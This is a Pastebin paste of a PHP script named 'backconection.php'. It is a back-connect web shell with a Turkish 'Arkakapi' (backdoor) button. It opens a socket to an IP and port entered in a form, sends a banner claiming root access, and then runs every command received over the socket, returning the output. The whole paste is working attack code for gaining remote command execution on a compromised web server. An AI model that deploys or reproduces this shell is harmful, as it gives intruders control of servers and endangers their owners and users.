lehieuit

backconection.php

Apr 4th, 2012
183
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.61 KB | None | 0 0
  1. <?php
  2.  
  3. echo "      <hr><center>
  4.            <form method='POST' action=''><br>  
  5.            <input type='text' name='mip' >
  6.            <input type='text' name='bport' size='5' value='2121'>&nbsp;
  7.            <input type='submit' value='Arkakapi'>
  8.            </form>";
  9.          $mip=$_POST['mip'];
  10.          $bport=$_POST['bport'];
  11.          if ($mip <> "")
  12.          {
  13.          $fp=fsockopen($mip , $bport , $errno, $errstr);
  14.          if (!$fp){
  15.                $result = "Error: could not open socket connection";
  16.          }
  17.          else {
  18.          fputs ($fp ,"\n
  19. #####################################################################
  20.  
  21.  ##   ##       #                       #      ###   ###   ###   ###
  22.  ##   ##       #                       #     #   # #   # #   # #   #
  23.  # # # #  ###  ###  ###  #  #  #  ###  #         # #   # #   # #   #
  24.  # # # # #   # #       # #  #  # #   # #        #  #   # #   # #   #
  25.  #  #  # ##### #    #### # # # # #   # #       #   #   # #   #  ####
  26.  #  #  # #     #   #   # # # # # #   # #      #    #   # #   #     #
  27.  #     # #   # #   #   #  #   #  #   # #     #     #   # #   #    #
  28.  #     #  ###   ##  ####  #   #   ###  ####  #####  ###   ###   ##  
  29.  
  30. #####################################################################
  31. whoami
  32. root
  33. :)\n\n");
  34.       while(!feof($fp)){  
  35.        fputs ($fp);
  36.        $result= fgets ($fp, 4096);
  37.       $message=`$result`;
  38.        fputs ($fp,"--> ".$message."\n");
  39.       }
  40.       fclose ($fp);
  41.          }
  42.          }
  43. ?>
  44. <hr>
  45. <?
  46. $ip = $_SERVER['REMOTE_ADDR'];
  47. echo "IP Adresiniz: $ip";
  48. ?>
  49. <hr></center></b>
Advertisement
Add Comment
Please, Sign In to add comment